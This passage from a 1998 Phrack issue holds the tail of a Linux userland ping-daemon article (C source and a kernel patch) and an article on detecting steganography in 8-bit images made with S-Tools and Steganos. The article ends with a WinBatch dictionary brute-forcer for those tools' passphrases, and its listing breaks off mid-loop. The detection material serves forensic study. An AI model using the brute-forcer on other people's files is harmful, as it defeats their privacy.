u_char payload[MAX_PAYLOAD];

};

/* F U N C T I O N P R O T O T Y P E S */

void

usage(

char * /* pointer to argv[0] */

);

int /* 1 if the packet is allowed, 0 if denied */

verify(

struct icmp_packet * /* pointer to the ICMP packet in question */

);

void

icmp_reflect(

struct icmp_packet *, /* pointer to the ICMP packet in question */

int /* socket file descriptor */

);

int /* 1 if access is granted, 0 if denied */

hosts_ctl(

char *, /* daemon name */

char *, /* client name (canonical) */

char *, /* client address (dots 'n' decimals) */

char * /* client user (unused) */

);

#endif /* _PINGD_H */

/* EOF */

<‑‑>

<++> Pingd/pingd.c

/*

* $Id$

*

* Linux pingd sourcefile

* ping.c ‑ main sourcefile

* Copyright (c) 1998 by daemon9|route <route@infonexus.com>

*

*

*

* $Log$

*/

#include "pingd.h"

int d = 0; /* Debuging level (defaults off) */

int max_packet = 1024; /* Maximum packet size (default) */

int

main(int argc, char **argv)

{

int sock_fd, c;

struct icmp_packet i_pack;

struct passwd *pwd_p;

/*

* Make sure we have UID 0.

*/

if (geteuid() || getuid())

{

fprintf(stderr, "Inadequate privledges\n"); exit(1);

}

/*

* Open a raw ICMP socket and set IP_HDRINCL.

*/

if ((sock_fd = open_raw_sock(IPPROTO_ICMP)) == ‑1)

{

perror("socket allocation");

exit(1);

}

/*

* Now that we have the raw socket, we no longer need root privledges * so we drop our UID to nobody.

*/

if (!(pwd_p = getpwnam(NOBODY)))

{

fprintf(stderr, "Can't get pwnam info on nobody"); exit(1);

}

else if (setuid(pwd_p‑>pw_uid) == ‑1)

{

perror("Can't drop privledges");

exit(1);

}

while((c = getopt(argc, argv, "d:s:")) != EOF)

{

switch (c)

{

case 'd':

d = atoi(optarg);

break;

case 's':

max_packet = atoi(optarg);

break;

default:

usage(argv[0]);

}

}

if (!d) daemon();

if (d) fprintf(stderr, "Max packetsize of %d bytes\n", max_packet);

#ifdef LOG

openlog("pingd", 0, 0);

syslog(LOG_DAEMON|LOG_INFO, "started: %d", getpid());

#endif /* LOG */

/*

* We're powered up. From here on out, everything should run swimmingly. */

for (;;)

{

bzero(&i_pack, sizeof(i_pack));

c = recv(sock_fd, (struct icmp_packet *)&i_pack, sizeof(i_pack), 0); if (c == ‑1)

{

if (d) fprintf(stderr, "truncated read: %s", strerror(errno)); continue;

}

/*

* Make sure packet isn't too small or too big. */

if (c < HEADER_MATERIAL || c > max_packet)

{

#ifdef LOG

syslog(

LOG_DAEMON|LOG_INFO,

"bad packet size (%d bytes from %s)", ntohs(i_pack.iph.ip_len) ‑ sizeof(i_pack.iph), host_lookup(i_pack.iph.ip_src.s_addr));

#endif /* LOG */

continue;

}

/*

* We only want ICMP_ECHO packets.

*/

if (i_pack.icmph.type != ICMP_ECHO) continue;

else if (d)

fprintf(stderr,

"%d byte ICMP_ECHO from %s\n", ntohs(i_pack.iph.ip_len) ‑ sizeof(i_pack.iph), host_lookup(i_pack.iph.ip_src.s_addr));

/*

* Pass packet to the access control mechanism. */

if (!verify(&i_pack))

{

#ifdef LOG

syslog(

LOG_DAEMON|LOG_INFO, "ICMP_ECHO denied by wrapper (%d bytes from %s)", ntohs(i_pack.iph.ip_len) ‑ sizeof(i_pack.iph), host_lookup(i_pack.iph.ip_src.s_addr));

#endif /* LOG */

}

else

{

#ifdef LOG

syslog(

LOG_DAEMON|LOG_INFO, "ICMP_ECHO allowed by wrapper (%d bytes from %s)", ntohs(i_pack.iph.ip_len) ‑ sizeof(i_pack.iph), host_lookup(i_pack.iph.ip_src.s_addr));

#endif /* LOG */

icmp_reflect(&i_pack, sock_fd);

}

}

}

void

icmp_reflect(struct icmp_packet *p_ptr, int sock_fd)

{

int c;

u_long tmp;

struct sockaddr_in sin;

bzero((struct sockaddr_in *)&sin, sizeof(sin));

/*

* Formulate ICMP_ECHOREPLY response packet. All we do change the * packet type and flip the IP addresses. This avoids a copy. */

tmp = p_ptr‑>iph.ip_dst.s_addr;

p_ptr‑>iph.ip_dst.s_addr = p_ptr‑>iph.ip_src.s_addr; p_ptr‑>iph.ip_src.s_addr = tmp;

p_ptr‑>icmph.type = ICMP_ECHOREPLY; p_ptr‑>icmph.checksum = 0;

p_ptr‑>icmph.checksum = ip_check((u_short *)&p_ptr‑>icmph, ntohs(p_ptr‑>iph.ip_len) ‑ sizeof(struct ip)); sin.sin_family = AF_INET;

sin.sin_addr.s_addr = p_ptr‑>iph.ip_dst.s_addr;

c = sendto(sock_fd,

(struct icmp_packet *)p_ptr, ntohs(p_ptr‑>iph.ip_len),

0,

(struct sockaddr *) &sin, sizeof(sin));

if (c != ntohs(p_ptr‑>iph.ip_len))

{

if (d) perror("truncated write");

return;

}

else if (d) fprintf(stderr, "ICMP_ECHOREPLY sent\n");

}

int

verify(struct icmp_packet *p_ptr)

{

if (!hosts_ctl("ping", host_lookup(p_ptr‑>iph.ip_src.s_addr), host_lookup(p_ptr‑>iph.ip_src.s_addr), STRING_UNKNOWN))

return (0);

else return (1);

}

void

usage(char *argv0)

{

fprintf(stderr, "usage: %s [‑d 1|0 ] [‑s maxpacketsize] \n",argv0); exit(0);

}

/* EOF */

<‑‑>

<++> Pingd/patchfile

‑‑‑ /usr/src/linux/net/ipv4/icmp.c.originalSat Jan 10 11:10:36 1998 +++ /usr/src/linux/net/ipv4/icmp.cSat Jan 10 11:19:23 1998

@@ ‑42,7 +42,8 @@

* Elliot Poger : Added support for SO_BINDTODEVICE. *Willy Konynenberg:Transparent proxy adapted to new

*socket hash code.

‑ *

+ * route : 1.10.98: ICMP_ECHO / ICMP_ECHOREQUEST

+ * support into userland.

*

* RFC1122 (Host Requirements ‑‑ Comm. Layer) Status:

* (boy, are there a lot of rules for ICMP)

@@ ‑882,28 +883,6 @@

kfree_skb(skb, FREE_READ);

}

‑/*

‑ *Handle ICMP_ECHO ("ping") requests.

‑ *

‑ *RFC 1122: 3.2.2.6 MUST have an echo server that answers ICMP echo requests. ‑ *RFC 1122: 3.2.2.6 Data received in the ICMP_ECHO request MUST be included in the reply. ‑ *RFC 1812: 4.3.3.6 SHOULD have a config option for silently ignoring echo requests, MUST have default=NOT. ‑ *See also WRT handling of options once they are done and working. ‑ */

‑

‑static void icmp_echo(struct icmphdr *icmph, struct sk_buff *skb, struct device *dev, __u32 saddr, __u32 daddr, int len) ‑{

‑#ifndef CONFIG_IP_IGNORE_ECHO_REQUESTS

‑struct icmp_bxm icmp_param;

‑icmp_param.icmph=*icmph;

‑icmp_param.icmph.type=ICMP_ECHOREPLY;

‑icmp_param.data_ptr=(icmph+1);

‑icmp_param.data_len=len;

‑if (ip_options_echo(&icmp_param.replyopts, NULL, daddr, saddr, skb)==0) ‑icmp_build_xmit(&icmp_param, daddr, saddr, skb‑>ip_hdr‑>tos); ‑#endif

‑kfree_skb(skb, FREE_READ);

‑}

/*

*Handle ICMP Timestamp requests.

@@ ‑1144,8 +1123,8 @@

*/

static struct icmp_control icmp_pointers[19] = {

‑/* ECHO REPLY (0) */

‑ { &icmp_statistics.IcmpOutEchoReps, &icmp_statistics.IcmpInEchoReps, icmp_discard, 0, NULL }, +/* ECHO REPLY (0) ‑ Disabled, we now do ICMP_ECHOREQUEST in userland */

+ { &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL }, { &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL }, { &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL }, /* DEST UNREACH (3) */

@@ ‑1156,8 +1135,8 @@

{ &icmp_statistics.IcmpOutRedirects, &icmp_statistics.IcmpInRedirects, icmp_redirect, 1, &xrl_redirect }, { &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL }, { &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL }, ‑/* ECHO (8) */

‑ { &icmp_statistics.IcmpOutEchos, &icmp_statistics.IcmpInEchos, icmp_echo, 0, NULL }, +/* ECHO (8) ‑ Disabled, we now do ICMP_ECHOREQUEST in userland */

+ { &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL }, { &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL }, { &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL }, /* TIME EXCEEDED (11) */

<‑‑>

‑‑‑‑[ EOF

Steganography Thumbprinting

‑‑‑[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 08 of 20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Steganography Thumbprinting

‑‑‑‑‑‑‑‑[ The HackLab (http://www.hacklab.com)

Steg`a*nog"ra*phy (?), n. [Gr. covered (fr. to cover closely) + ‑graphy.] The art of writing in cipher, or in characters which are not intelligible except to persons who have the key; cryptography.

i. Introduction

While this may be a general description of cryptography, steganography has come to describe not only the act of encrypting data, but also of hiding its very existence. Steganography (or "stego") uses techniques to store a "message" file within a "container" file by altering the container file in such a way as to make the original file _appear_ unchanged. The resulting file can be referred to as the stego file and contains the message file enclosed in a close approximation of the original container file. Several tools exist (mostly for DOS/Windows/NT) which automate these functions using DES, DES3 or IDEA as encryption methods and BMP, GIF, JPG, WAV, VOC and even ASCII files as containers. Using these tools, data can be hidden within images, sounds, and even other data files. However, these tools do leave perceptible traces on their container files and do not offer nearly the level of obfuscation the user assumes.

This article will provide the reader with a fundamental understanding of basic stego techniques and will highlight some of the "thumbprints" left by modern steganographic toolsets, specifically on graphic images. Not intended to challenge the cryptographic strength or perceptible mathematical variances of current steganographic techniques, this article will give the reader a basic understanding of stego and suggest low‑budget methods for detecting and cracking basic steganographic techniques. Also presented is a program which can be used to brute‑force two of the most popular stego toolsets.

I. Basic Steganography

Simply put, steganography involves the hiding of messages. While there are many techniques employed by the various tools, the least common denominator amongst most toolsets is the modification of some of the Least Significant Bits (or LSBs) of the container file's individual bytes. In the simplest example, consider the following binary representations of the numbers 20 through 27:

10100 10101 10110 10111 11000 11001 11010 11011

By modifying the LSBs of these binary digits, we can hide the binary representation of the number 200 (11001000) across the above bytestream:

10101 10101 10110 10110 11001 11000 11010 11010

By reconstructing the LSBs of the above bytestream, we recover the number 200 (11001000). In the above example, the original bytestream of the numbers 20‑27 is the container, while the number 200 is the message file. This is a very poor basic example since the resulting stego file is not an accurate representation of the original file. After modification to include the message file, the numbers 20‑27 now read:

21 21 22 22 25 24 26 26

However, in most stego applications, the container file does not contain bytestreams which are rendered useless by modifying LSB information. Instead, container files typically contain various levels of "noise" at the level of the LSB's which when viewed apart from the rest of the byte can appear random. A sound (.WAV) file, for example contains mostly inaudible background noise at the LSB level. An 8‑bit graphic file will contain minor color differences at the LSB level, while a 24‑bit image will contain color changes which are nearly imperceptible to the human eye. A very common container format is a 256 color, 8 bit image such as a GIF or BMP file.

II. Stego Techniques

In an 8‑bit image such as a GIF or BMP each pixel is described as a number from 0 ‑ 255 which refers to an actual color in the "color lookup table" or palette. A common misconception is that all images simply contain strings of bytes that describe individual colors, and that the graphic file simply lists these colors in left‑to‑right, and top‑to‑bottom fashion. This is only partially true for 8‑bit images. The palette lists every color that is used in the image (and extra colors, if less than 256 total colors are actually used in the image), and the image data itself is stored as a series of digits from 0 ‑ 255 which reference an entry in the palette. In this way, the image can be reconstructed by performing palette lookups to determine the color to insert at that pixel location.

In order to hide data within an 8‑bit GIF or BMP container, most existing tools use one of two techniques which I will term LSB palette reference modification and RGB element LSB modification.

LSB palette reference modification involves changing the LSB(s) of a _palette_reference_ (0 ‑ 255) in order to hide the data contained in the message. Remember that a palette reference simply contains a number from 0 255 which references a color, or entry, in the palette. In order to hide data, a program utilizing palette reference modification may decide which color to point to based on the color's LSBs. This type of program will pay no attention to how similar the colors are, only whether or not the LSBs serve its purpose of data hiding. If the adjacent colors in the palette have dissimilar LSBs, they are well suited for data hiding and become good candidates for storing hidden text in the final stegoed container. If a 0 (zero) is meant to be hidden, the stego program inserts the palette index reference of the color with the LSB of 0 (zero), and vice versa for hiding a 1 (one).

RGB element LSB modification involves modifying the pixel's _actual_color_ by changing the LSB of the Red, Green or Blue elements of the color in the color table. For example, the color "white" is represented by the RGB values 255,255,255 which in binary equates to:

11111111 11111111 11111111

listed in RGB order. By altering the LSB of each color in the RGB element, we can hide data by making almost identical copies of colors such that only the LSBs are different. Since the color is only changed by one or two LSBs, the resulting colors are very close, perhaps undetectable to the human eye. The result of this change to the colors in the table enables nearly identical colors to be referenced by multiple table entries. This becomes extremely obvious when the palette is viewed and sorted by luminance (relative brightness)in a product such as Paint Shop Pro. These similar colors will be grouped right next to each other in a luminance‑sorted palette. Using this technique, a binary 1 in the message file can be represented in the stego file by replacing a color in the container file with an altered version of that color whose RG or B element ends with a binary 1. Likewise, a binary 0 in the message file can be represented in the stego file by replacing the original color in the container file with an altered version of that color whose RG or B element ends with a binary 0.

III. Steganographic Thumbprints

Several tools are available that apply these techniques to files on several different platforms. I will focus on two specific toolsets; Steganos and S‑Tools v4.0. Steganos is perhaps the most versatile and powerful of the toolsets, while S‑Tools seems to be the easiest and most widely used (not to mention the fact that I like S‑Tools; it's been around for a long time and is very well done). Other available toolsets include similar functionality and hiding techniques. In order to discover what the tools actually do when they hide data, it's best to use a simple BMP container file. The RGB BMP file utilizes a palette scheme identical to that of a GIF for the purposes of our tests, and all the reviewed toolsets can use BMP files as containers.

For example, consider a container image which is 50 pixels by 50 pixels and contains only black‑colored (0,0,0) pixels. This image references palette entry 0 (zero) as its only color. I will use a freeware painting program Paint Shop Pro V4.10 (PSP) to create and analyze the base images. When creating this image, PSP used a default palette with 216 unique palette entries and 40 "filler" entries at the end of the palette all of which contain the value (0,0,0) or pure black.

Our message file is simply a text file which contains the phrase "This is a test."

A. S‑Tools

When the message file is hidden using S‑Tools, the resulting 8‑bit image appears identical to the human eye when compared to the original. However, there are perceptible oddities about the file which are revealed under closer scrutiny.

Since S‑Tools uses RGB element LSB modification as its hiding technique, the palette has distinct and very obvious characteristics. Many of the palette's colors are offset by a single bit in the R,G or B element. This is very obvious when the palette is sorted by luminance (brightness) and viewed with PSP. The first sixteen (and only original) colors in this palette are:

(51,1,1) (51,1,0) (50,1,0) (51,0,1) (51,0,0) (50,0,1) (50,0,0)

(1,1,0) (1,1,0) (0,1,1) (0,1,0) (1,0,1) (1,0,1) (1,0,0) (0,0,1) (0,0,0)

Notice that the offsets of the RGB elements are only 1 bit. This is an imperceptible color change, and is a very wasteful use of the palette. Remember, there are only 256 colors to work with. Most 8‑bit image creation programs are very careful when deciding which colors to include in the palette, and almost all use standard palettes which contain all the most commonly used colors. To see a palette with this many _nearly_ identical colors is odd. Also, the palette has been adjusted to contain less colors. The standard colors selected by PSP have been replaced by some of the colors listed above. As is typical with this type of hiding, the slack space at the end of the palette has been reduced to make room for the new copies of existing colors. This type of hiding will always make itself obvious by using single‑bit offsets in one or more of the LSBs. Since this type of thumbprint is so easily identifiable, we will concentrate our efforts on the harder‑to‑detect palette reference method used by Steganos.

B. Steganos

Steganos kindly reminds you that 8‑bit images don't make terribly secure containers. It's a good thing, too, because when the message file is hidden using Steganos the resulting 8‑bit image has a major anomaly‑ the stego image is completely different than the original! As opposed to an all‑black image, the image now resembles a black‑and‑blue checkerboard. However, this difference is only obvious if you have access to the original image. Since an interceptor will most likely not have a copy of the original image, we will examine other methods of detection. When the palette of the image is checked for single‑bit offset colors (as in the stego image created with S‑Tools), none can be found. Also, there is no more or less slack space at the end of the palette than existed in the original palette. Steganos does not alter the palette in any way when hiding data. It uses the LSB palette reference technique described above. However, there are very distinctive ways of determining if this technique has been used to hide data, specifically by looking at _how_ the palette's colors are used. In this simple case, a histogram will show exactly the type of modification we are looking for. In the words of the PSP Help documentation,

"A histogram is a graph of image color values, typically RGB values and/or luminance. In a histogram, the spectrum for a color component appears on the horizontal axis, and the vertical axis indicates the portion of the image's color that matches each point on the component's spectrum."

In a nutshell, this simply means a graph is generated showing how the color(s) are used in an image, and how similar (in shade) they are. When viewing the "blue" histogram for the Steganos‑hidden file, we see something like this:

100= X X

‑ X X

90 = X X

‑ X X

80 = X X

‑ X X

70 = X X

‑ X X

60 = X X

‑ X X

50 = X X

‑ X X

40 = X X

‑ X X

30 = X X

‑ X X

20 = X X

‑ X X

10 = X X

‑ X X

00 = X X

. ! . ! . ! . ! . ! . ! . ! . ! . ! .

0 1 2 3 4 5 6 7 8 9 2

0 0 0 0 0 0 0 0 0 0 5

5

The X‑axis shows the spectrum for the color blue (from 0 to 255). The Y‑axis shows the number of pixels in the image that match that color. When displaying a histogram, the 100 on the Y axis is not percentage, but a MAX value (in this case 1272) which indicates the greatest number of pixels used for _any_one_color_. Since there are really only two colors _used_ in this stego image, there are only two vertical bars. These bars indicate that in the Blue color family there are really only two colors used; one with a blue value of zero, and another with a blue value of approximately 50 (51 to be exact). Upon examining the color table for this image sorted in _palette_order_, it is evident that these two referenced colors are only similar since they are placed right next to one another in the palette. The two colors are (0,0,0) and (0,0,51) or black and very, very dark blue. The image mostly has black hues, and Steganos probably picked the very dark blue color (00110011) as the 1 for some hidden data, and black (00000000) as the 0 for some hidden data since these colors are _right_ next to each other in a palette‑index‑order color table listing. Although they reside next to each other in the palette, the colors are not very similar which makes the final stego file appear discolored. Steganos does not modify any of the colors, but it modifies how the original palette is used by making nearly equal references to a color and its neighbor (when sorted by palette index). Bottom line: this image uses neighboring palette colors nearly an identical number of times. 1272 pixels were used for black and 1228 pixels were used for the dark, dark blue. This would not be unusual if not for the fact that the colors are palette index neighbors. If the designer of the image were using some sort of shading effect, there would be many more than just two shades involved in this 256 color image, and the shading offsets would be greater. These two colors don't even appear as shades of one another when placed side‑by‑side.

A skilled interceptor will know immediately that something is not quite right with these images. They both display typical signs of data hiding.

IV. Real‑World example

Intercepting a single‑color image and determining that it is stegoed is a trivial task. Increasing the number of used colors within the boundaries of the 256‑color palette could (so the reader may think) obfuscate the hidden message file. However, by applying a few simple methodologies, a pattern emerges which can increase the odds of detecting a stegoed image. For example, if a two‑color image is created using only the colors black (0,0,0) and white (255,255,255), and data is hidden in the file by using Steganos, the results would show that Steganos not only used black and white, but two more colors from the palette are used with values of (0,0,51) and (255,255,51) respectively. These newly‑used colors adjoin the original two colors in the palette listing, have differing LSBs, and are referenced nearly as much in the new image as the original colors are. A similar situation evolves when a 6‑color image is created. After Steganos hides the data, the original 6 colors and their palette neighbors will be used in the new file. The 6 new colors become alternate representations of the original 6 colors in terms of their LSBs. This methodology holds true all the way up to images containing 256 different colors. By understanding these patterns, all 8‑bit Steganos images can be detected without access to the original image.

When attempting to detect the use of steganography in 16 or 24‑bit images, a great deal of pattern analysis must be used. 24‑bit stego detection is not for the faint of heart, but it can be done. Standard "randomization" solutions fall quite short of solving this problem since LSB data in image creation programs is hardly random. It follows a pronounced pattern when viewed as a part of a whole: an 8‑bit number. Most standard graphics effects do not use random data, they use patterns to create and maintain a certain graphic illusion. Inserting "random" data, even at the LSB level can become fuel for the analyst's fire. In many 24‑bit stego programs, bits in the secret text are generally inserted with average spacing between them, then random "noise" is added to make the secret bits seem less obvious. The random "noise" would (should!) have a random interval between differing bits. The contrast of an average spacing against random spacing may be enough to not only alert an analyst, but to point out where secret bits start and random bits begin. The bottom line is that 24‑bit detection is doable, just not practical for an amateur‑ yet!

V. The Future

Steganography is in it's infancy, but several new technologies are emerging including selection and construction methods of data hiding and continuing research in the area of random distribution.

Selection involves the generation of a large number of copies of the same container file that differ slightly. In the case of an image file, you may make minor adjustments in hue, saturation and RGB levels to the end that your secret message will eventually _appear_ in the LSBs of the data! Although difficult to generate, this type of data hiding is nearly impossible to detect since the image's characteristics are not altered at all.

Construction simply involves modeling the characteristics of the original container when creating your message. In simplest terms, mold your message around the existing container instead of molding the container to your message. If, for example the original image were left unchanged, and a key was developed to create the message _from_ the image, detection would be impossible without the key.

Several advances are being made in the area of random distribution, specifically by Tuomas Aura at the Helsinki University of Technology. His paper "Practical Invisibility in Digital Communication" presents a technique called "pseudorandom permutation", which brings steganography up to the technical level of cryptography and properly addresses the issue of randomness from a data hiding perspective. His paper is excellent reading and can be found at http://deadlock.hut.fi/ste/ste_html.html

Interesting research (and proof‑of‑concepts) are being done to utilize stego techniques in reserved fields in TCP, UDP and ICMP packets. This research proves that steganography has merit and application beyond sound and image files. Unfortunately, using stego where there was nothing before (ie within typically blank reserved fields) can raise a flag in and of itself. Use encryption and compression to further protect data. It really doesn't matter if the secret data is discovered if the underlying crypto is secure.

VI. Conclusion

Detecting stego in an 8‑bit image is fairly easy. Actually gaining access to the secret text becomes a bit harder yet a simple overlooked method involves bruteforcing the creating application (see S_BRUTE.WBT program below). On the other hand, 24‑bit image analysis requires quite a bit of work. If you choose to employ data hiding techniques, use 24‑bit images and compress and encrypt your message file, bearing in mind that 24‑bit images can raise flags simply due to their size.

When attempting to identify stego files in 8‑bit images, keep in mind the following pointers:

* Search for the obvious thumbprint of an RGB element.

* In the stego file: single‑bit offsets between colors in a palette sorted by luminance (this SCREAMS S‑Tools!).

* If no single‑bit offsets exist between the colors in the palette, search for Palette Reference thumbprints which include the following:

* Use of palette index neighbors a near‑equal number of times either in the entire image (use a histogram) or in an area which should be primarily single‑color only but contains a checkerboard effect (use zoom 11:1 to see individual pixels, and the eyedropper tool to quickly view the RGB elements in PSP)

* Poor image quality (noise and snow are common side‑effects).

* For more detailed analysis the reader might consider using an MS‑DOS program msgifscn.zip, available from Simtel mirror sites worldwide, to dump the entire contents of an 8‑bit GIF image's palette to a file, which can be dumped into MS Excel for analysis (the analysis add‑in in for Excel comes in REAL handy for binary conversions and data sorts.)

* If you have a clue that the file you're looking at may contain stegoed data, it never hurts to brute force the application that created it! (see the S_BRUTE program listing at the end of this article) While this may be one of the slower methods of breaking stego, it is often easier to derive possible keyphrases from other sources than attacking the stego algorithm or the crypto.

VII. The program

The author of S‑Tools sells the source code for his program, and Steganos makes available an SDK for hiding/decoding files using it's algorithms, but an option exists for programs that do not make their source available: bruteforce of the application itself. Although using the API and SDK's available would be significantly faster, there are times when this option just may not exist.

To that end, included below are two files, S_BRUTE.WBT and S_BRUTE.INI. This program was written in WinBatch, which is a language that acts very much like the UNIX language TCL/TK (or Expect), but operates in a Windows 95/NT context. Developed to control Windows applications, WinBatch provides a perfect vehicle for brute‑forcing an application's password function (see http://www.windowware.com for the free compiler to run S_BRUTE). S_BRUTE is

an application that will bruteforce S‑Tools v4 and Steganos using a dictionary file in an attempt to determine the passphrase of a stegoed image (which will subsequently reveal the hidden text). The program selects which tool to use based on which executable you select, and the S‑Tools portion of the program will not only bruteforce the passphrase, but will attempt all four algorithms available to S‑ Tools. Unfortunately S‑Tools uses certain mouse‑only operations, so you will effectively lose your mouse while the S‑Tools portion runs. The dictionary needed by this program is simply a list of words or passphrases separated by newlines. Keep in mind that Steganos does not allow passwords shorter than five characters, so strip those out to save time. If you need to use a " (double‑quote) in the word/passphrase, simply use "" (two double quotes) in the dictionary. WinBatch likes this. A log file is created as c:\output.txt which simply lists all the attempted words/passphrases. The output file can be reused as a dictionary since no extraneous information is written out. Two options exist for inputting the names of the Stego tool executable, the dictionary file and the stego image. The S_BRUTE.INI file format (see below) allows the variables exepath, dict and stegofile which allow the input of these full path names into the program. In addition, the program can prompt for the filenames manually using standard Windows '95 file boxes. In this case, pay attention to the box titles as they come up. These titles describe what file the program is looking for. A variable is also available in the INI file called STEGANOSDELAY. This value (listed in seconds) determines how long to wait for a passphrase error message from Steganos. The default is 0, but if you get a lot of false positives (your machine is SLOW!) set this value to a few seconds. Due to the speed of the bruteforce attack, this program is not always accurate as to _which_word_ actually worked if it finds a match. In this case, S_BRUTE will tell you which word it _thinks_ worked, but you may have to try the word S_BRUTE gave you plus one or two of the previous words in c:\output.txt (plus a few different algorithms if you're using S‑Tools). Either way, you are only looking at about 12 combinations (not bad!).

Note that S‑Tools and/or Steganos must be properly installed prior to using this program. S_BRUTE was not designed to brute force the entire keyspace, but to give you a faster method of determining the passphrase if you have any idea what it might be. If the stego image is found on a web page, create a dictionary from words and phrases found on that site, and let S_BRUTE do the work for you.

<++> sbrute/S_BRUTE.WBT

;; Steganography Brute v1.0 written by a researcher at hacklab.com ;; For new versions and support programs see http://www.hacklab.com

;; This little toy brute forces two very common Steganography utilities, ;; specifically Steganos (http://www.steganography.com) and S‑Tools written

;; by Andrew Brown (a.brown@nexor.co.uk)

;; This program can be run using a free program called WinBatch

;; from http://www.windowware.com

;;

;;

;;Notes:

;;

;; 1) The program depends on the executable name being either "S‑TOOLS.EXE" or ;;"STEGANOS.EXE". This exe name decides many things, including the ;;semantics of the brute force attack and which types of container files ;;to accept. (Remember that the tools accept different types of container ;;files.)

;; 2) The dictionary file is simply a text file with words or phrases separated ;; by CR(LF). If a " (double quote) must be used in the word or phrase, ;;use "" (two double quotes) instead. This is Winbatch's way of representing ;; the double quote in a string.

;; 3) Internally, this program converts all Windows LFN‑formatted dir/filenames to ;;DOS‑style 8.3 or short dir/filenames. If you have problems, finding/using ;;LFN files, you may want to manually convert them to a SFN dir/file structure. ;; 4) The S‑Tools test requires certain mouse‑only operations. During this part of ;;the program, it's best to leave your machine alone. Otherwise the mouse will ;;be all over the place. Sorry.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

:main ;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

Intcontrol(12,4,0,0,0) ;;controls abrupt endings

if (winmetrics(‑4) < 4 )

error="This program runs on Windows NT or Windows '95 only!" gosub bail_error

EndIf

cr=Num2Char(13)

lf=Num2Char(10)

crlf=StrCat(cr, lf)

progname="Steganography Brute"

STEGANOS=0;; Flag for Steganos

STOOLS=0;; Flag for S‑Tools

text1='This program brute forces Steganography programs.' text2='Including S‑Tools v4.0 and Steganos. Do you wish'

text3='to continue?'

;q = AskYesNo('%progname%',"%text1% %crlf% %text2% %crlf% %text3%") If (AskYesNo('%progname%',"%text1% %crlf% %text2% %crlf% %text3%") == @NO) Then Exit

text1="It is easiest to make all file settings through the" text2="S_BRUTE.INI file in this directory. If you do not use" text3="this file, you will be manually prompted for the files." Text4="Do you wish to use the INI file?"

q= AskYesNo("%progname%"," %text1% %crlf% %text2% %crlf% %text3% %crlf% %text4%")

if (q == @NO) Then gosub prompt_for_files

else gosub set_files

if (STEGANOS)

gosub steganos

else

if (STOOLS) then gosub stools

EndIf

error="Passphrase not found!"

gosub bail_error

Exit

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

:steganos ;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

Run("%exepath%", "%stegofile%")

WinWaitExist("",10) ;;; Steganos' first window has no title. ;;; If you have problems,

SendKeysTo("","{ENTER}") ;;; comment out these two lines... ;TimeDelay(10) ;;; and uncomment... ;SendKey("{ENTER}") ;;; these two lines.

WinWaitExist("Steganos for Windows 95",30)

SendKeysTo("Steganos for Windows 95","{ENTER}")

dictgrip=FileOpen("%dict%","READ")

fn1="c:\output.txt"

handleout=FileOpen("%fn1%","Append")

stitle="Steganos for Windows 95"

START_TIME=TimeYmdHms()

word=0

while (word != "*EOF*")

word = FileRead(dictgrip)

if word =="" then continue

if word =="*EOF*" then break

ClipPut("%word%")

SendKeysTo(stitle,"^v{ENTER}")

TimeDelay(STEGANOSDELAY) test=strsub(MsgTextGet(stitle),1,22)

if test==""

text1="I think we have a match!"

text2="Due to the speed of the brute force attack, check c:\output.txt" text3="to see the last few words used, but I think the passphrase is:" text4="%word%"

success="%text1% %crlf%%text2% %crlf%%text3% %crlf%%text4%" gosub bail_success

else

if test=="This password is wrong" SendKeysTo(stitle,"{ENTER}") SendKeysTo(stitle,"!B{ENTER}") FileWrite(handleout,"%word%" )

endif

endif

endwhile

STOP_TIME=TimeYmdHms()

FileClose(dictgrip)

FileClose(handleout)

Return

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

:stools ;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

Run("%exepath%", "%stegofile%")

if (WinWaitExist("Welcome to S‑Tools",5) == @TRUE) SendKeysTo("Welcome to S‑Tools","!C")

EndIf

winplace(0,0,400,400,"~S‑Tools")

WinWaitClose("Please Wait")

SendMenusTo("~S‑Tools", "Window Tile Horizontally")

text1="S‑Tools requires certain mouse‑only operations." text2='After clicking OK, position the mouse within your' text3="image in the S‑Tools window and click the left button."

message("Setup mouse for S‑Tools","%text1% %crlf% %text2% %crlf% %text3%")

while (mouseinfo(4)!="4")

magic=mouseinfo(2)

endwhile

magicx=( ItemExtract(1,magic," ") )

magicy=( ItemExtract(2,magic," ") )

dictgrip=FileOpen("%dict%","READ")

fn1="c:\output.txt"

handleout=FileOpen("%fn1%","Append")

START_TIME=TimeYmdHms()

word=0

while (word != "*EOF*")

word = FileRead(dictgrip)

if word =="" then continue

ClipPut("%word%")

;;; write to the output file

if word!="*EOF*"

if (FileWrite(handleout,"%word%" ) >0)

error="Unable to open file %fn1%."

gosub bail_error

EndIf

Endif

for dumnum=1 to 4 ;; for all the algorithms

MouseMove(magicx, magicy, "","")

MouseClick(@RCLICK, 0)

SendKeysTo("~S‑Tools","r") SendKeysTo("~Revealing","!P^v!V^v!E")

if (dumnum==1) then SendKeysTo("~Revealing","I") ;; IDEA

if (dumnum==2) then SendKeysTo("~Revealing","D") ;; DES

if (dumnum==3) then SendKeysTo("~Revealing","T") ;; DES3

if (dumnum==4) then SendKeysTo("~Revealing","M") ;; MDC SendKeysTo("~Revealing","{ENTER}") ;childlist=WinItemChild("~S‑Tools")

numchilds= ItemCount(WinItemChild("~S‑Tools"), @TAB)

if (numchilds>2)

text1="We have an extra window in S‑Tools! Possible passphrase match." text2="Due to the speed of the brute force attack, check c:\output.txt" text3="to see the last few words used, but I think the passphrase is:" text4="%word%"

success="%text1% %crlf%%text2% %crlf%%text3% %crlf%%text4%" gosub bail_success

endif

next

endwhile

